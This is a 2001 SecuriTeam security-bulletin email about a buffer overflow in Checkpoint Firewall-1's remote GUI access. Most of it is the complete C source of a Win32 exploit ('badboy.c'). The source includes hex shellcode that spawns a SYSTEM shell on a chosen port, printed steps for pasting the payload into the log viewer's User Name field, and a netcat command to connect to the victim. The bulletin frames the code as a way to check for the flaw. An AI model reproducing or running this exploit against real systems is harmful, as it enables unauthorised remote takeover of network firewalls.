[EXPL] Firewall-1 Remote SYSTEM Shell Buffer Overflow

From: support@securiteam.com
Date: 11/30/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] Firewall-1 Remote SYSTEM Shell Buffer Overflow
Message-Id: <20011130214644.123DE138BF@mail.der-keiler.de>
Date: Fri, 30 Nov 2001 22:46:44 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Firewall-1 Remote SYSTEM Shell Buffer Overflow
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/securitynews/5KP002K5GE.html> Bug in Remote GUI
Access in Checkpoint Firewall, a security vulnerability in Checkpoint
Firewall-1 allows an attacker to execute arbitrary code with the
privileges of Firewall module (usually root).

The following advisory includes an exploit code that can be used to verify
whether you are vulnerable or not.

DETAILS

Exploit:
/* badboy.c - Win32 Checkpoint Firewall-1 overflow exploit by Indigo
<indig0@talk21.com> 2001
    Usage: badboy <victim port>

    The shellcode spawns a shell on the chosen port
    Main shellcode adapted from code written by izan@deepzone.org

    Greets to:
    Morphsta, Br00t, Macavity, Jacob & Monkfish...Not forgetting
D-Niderlunds
*/

#include <windows.h>
#include <stdio.h>

int main(int argc, char **argv)
{

unsigned char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\xCC\x2B\x16\xEA\x77\x90\x90\xEB\x05\x4A\xD5"
"\xEC\x77\x90\x90\x90\x90\x90\x66\x81\xE9\x5B\x29\x31\xDB\xB8\x99"
"\x99\x99\x99\x31\x01\x83\xC1\x04\x83\xC3\x04\x66\x81\xFB\xC0\x04"
"\x7E\xF1\x66\x81\xE9\x4E\x01\x31\xC0\x40\x29\x01\x90\x90\x90\x71"
"\x99\x99\x99\x99\xC4\x18\x74\x40\xB8\xD9\x99\x14\x2C\x6B\xBD\xD9"
"\x99\x14\x24\x63\xBD\xD9\x99\xF3\x9E\x09\x09\x09\x09\xC0\x71\x4B"
"\x9B\x99\x99\x14\x2C\xB3\xBC\xD9\x99\x14\x24\xAA\xBC\xD9\x99\xF3"
"\x93\x09\x09\x09\x09\xC0\x71\x23\x9B\x99\x99\xF3\x99\x14\x2C\x40"
"\xBC\xD9\x99\xCF\x14\x2C\x7C\xBC\xD9\x99\xCF\x14\x2C\x70\xBC\xD9"
"\x99\xCF\x66\x0C\xAA\xBC\xD9\x99\xF3\x99\x14\x2C\x40\xBC\xD9\x99"
"\xCF\x14\x2C\x74\xBC\xD9\x99\xCF\x14\x2C\x68\xBC\xD9\x99\xCF\x66"
"\x0C\xAA\xBC\xD9\x99\x5E\x1C\x6C\xBC\xD9\x99\xDD\x99\x99\x99\x14"
"\x2C\x6C\xBC\xD9\x99\xCF\x66\x0C\xAE\xBC\xD9\x99\x14\x2C\xB4\xBF"
"\xD9\x99\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\xA8\xBF\xD9\x99"
"\x34\xC9\x66\x0C\xCA\xBC\xD9\x99\x14\x2C\x68\xBC\xD9\x99\x14\x24"
"\xB4\xBF\xD9\x99\x3C\x14\x2C\x7C\xBC\xD9\x99\x34\x14\x24\xA8\xBF"
"\xD9\x99\x32\x14\x24\xAC\xBF\xD9\x99\x32\x5E\x1C\xBC\xBF\xD9\x99"
"\x99\x99\x99\x99\x5E\x1C\xB8\xBF\xD9\x99\x98\x98\x99\x99\x14\x2C"
"\xA0\xBF\xD9\x99\xCF\x14\x2C\x6C\xBC\xD9\x99\xCF\xF3\x99\xF3\x99"
"\xF3\x89\xF3\x98\xF3\x99\xF3\x99\x14\x2C\xD0\xBF\xD9\x99\xCF\xF3"
"\x99\x66\x0C\xA2\xBC\xD9\x99\xF1\x99\xB9\x99\x99\x09\xF1\x99\x9B"
"\x99\x99\x66\x0C\xDA\xBC\xD9\x99\x10\x1C\xC8\xBF\xD9\x99\xAA\x59"
"\xC9\xD9\xC9\xD9\xC9\x66\x0C\x63\xBD\xD9\x99\xC9\xC2\xF3\x89\x14"
"\x2C\x50\xBC\xD9\x99\xCF\xCA\x66\x0C\x67\xBD\xD9\x99\xF3\x9A\xCA"
"\x66\x0C\x9B\xBC\xD9\x99\x14\x2C\xCC\xBF\xD9\x99\xCF\x14\x2C\x50"
"\xBC\xD9\x99\xCF\xCA\x66\x0C\x9F\xBC\xD9\x99\x14\x24\xC0\xBF\xD9"
"\x99\x32\xAA\x59\xC9\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14"
"\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66"
"\x0C\xD6\xBC\xD9\x99\x72\xD4\x09\x09\x09\xAA\x59\xC9\x14\x24\xFC"
"\xBF\xD9\x99\xCE\xC9\xC9\xC9\x14\x2C\x70\xBC\xD9\x99\x34\xC9\x66"
"\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\x1A\x24\xFC"
"\xBF\xD9\x99\x9B\x96\x1B\x8E\x98\x99\x99\x18\x24\xFC\xBF\xD9\x99"
"\x98\xB9\x99\x99\xEB\x97\x09\x09\x09\x09\x5E\x1C\xFC\xBF\xD9\x99"
"\x99\xB9\x99\x99\xF3\x99\x12\x1C\xFC\xBF\xD9\x99\x14\x24\xFC\xBF"
"\xD9\x99\xCE\xC9\x12\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x70\xBC\xD9"
"\x99\x34\xC9\x66\x0C\xDE\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9"
"\x99\x12\x1C\xFC\xBF\xD9\x99\xF3\x99\xC9\x14\x2C\xC8\xBF\xD9\x99"
"\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x93\xBC\xD9\x99"
"\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xF3\x99\xF3\x99\xF3\x99\x14"
"\x2C\x70\xBC\xD9\x99\x34\xC9\x66\x0C\xA6\xBC\xD9\x99\xF3\xA9\x66"
"\x0C\xD6\xBC\xD9\x99\xAA\x50\xA0\x14\xFC\xBF\xD9\x99\x96\x1E\xFE"
"\x66\x66\x66\xF3\x99\xF1\x99\xB9\x99\x99\x09\x14\x2C\xC8\xBF\xD9"
"\x99\x34\xC9\x14\x2C\xC0\xBF\xD9\x99\x34\xC9\x66\x0C\x97\xBC\xD9"
"\x99\x10\x1C\xF8\xBF\xD9\x99\xF3\x99\x14\x24\xFC\xBF\xD9\x99\xCE"
"\xC9\x14\x2C\xC8\xBF\xD9\x99\x34\xC9\x14\x2C\x74\xBC\xD9\x99\x34"
"\xC9\x66\x0C\xD2\xBC\xD9\x99\xF3\xA9\x66\x0C\xD6\xBC\xD9\x99\xF3"
"\x99\x12\x1C\xF8\xBF\xD9\x99\x14\x24\xFC\xBF\xD9\x99\xCE\xC9\x12"
"\x1C\xC8\xBF\xD9\x99\xC9\x14\x2C\x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\xF6\xEA\xFC"
"\xD1\xF8\xF7\xFD\xF5\xFC\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\x99\xDA\xF6\xFD\xFC\xFD\xB9\xFB\xE0\xB9\xE5\xC3\xF8\xF7"
"\xB9\xA5\xF0\xE3\xF8\xF7\xD9\xFD\xFC\xFC\xE9\xE3\xF6\xF7\xFC\xB7"
"\xF6\xEB\xFE\xA7\x9B\x99\x86\xD1\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\xDA\xD4\xDD\xB7\xDC\xC1\xDC\x99\x99\x99\x99\x99"
"\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"
"\x99\x99\x99\x99\x90\x90\x90\x90\x90\x00";

FILE *fp;
unsigned short int a_port;

printf ("\nFirewall-1 buffer overflow launcher\nby Indigo
<indig0@talk21.com> 2001\n\n");
printf ("To perform this exploit you must attack from a valid GUI client
machine\n");
printf ("i.e. your IP address must be contained in the
$FWDIR/conf/gui-clients file\n");
printf ("This program will create a binary file called exploit.bin\n");
printf ("First open the Firewall-1 GUI log viewer program then enter\nthe
victim IP address in the Management Server field\n");
printf ("and a few random characters in the password field,\n");
printf ("open badboy.bin in notepad, highlight it all then copy it to the
clipboard.\n");
printf ("Paste it into the User Name field of the GUI log viewer then
click OK.\n\n");
printf ("Launch netcat: nc <victim host> <victim port>\n");
printf ("\nThe exploit spawns a SYSTEM shell on the chosen port\n\n");

if (argc != 2)
{
printf ("Usage: %s <victim port>\n", argv[0]);
exit (0);
}

a_port = htons(atoi(argv[1]));
a_port^= 0x9999;
       
shellcode[1567]= (a_port) & 0xff;
shellcode[1568]= (a_port >> 8) & 0xff;

fp = fopen ("./exploit.bin","wb");

fputs (shellcode,fp);

fclose (fp);

return 0;

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:indig0@talk21.com> Indigo.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [EXPL] PoPToP PPTP Server Remote Exploit Code Released
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... struct pptp_header { ... int i, buflen = 500; ... printf(" D A A S ...
    (Securiteam)
  • [EXPL] IIS Server Side Include Buffer Overflow (Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft IIS ... ssinc.dll Buffer Overflow Vulnerability, ... printf; ...
    (Securiteam)
  • [EXPL] Multiple Exploit Codes for Apache Chunked Buffer Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int i, j, lport; ... struct sockaddr_in sin, from; ... printf(" -o char\t\tDefault values for the following OSes\n"); ...
    (Securiteam)
  • Re: How to restrict incoming VPN to one internal IP address
    ... Not as current as the ISA one but certainly more relevant. ... enable attackers to execute commands on the vulnerable server. ... FireWall-1 attempts to validate HTTP requests, ... Internet Security Systems Inc., which discovered the flaws. ...
    (microsoft.public.win2000.networking)
  • [EXPL] Compaq Insight Manager Remote SYSTEM Shell (Exploit)
    ... Compaq Insight Manager Remote SYSTEM Shell ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... printf ("This program will generate a binary file called ...
    (Securiteam)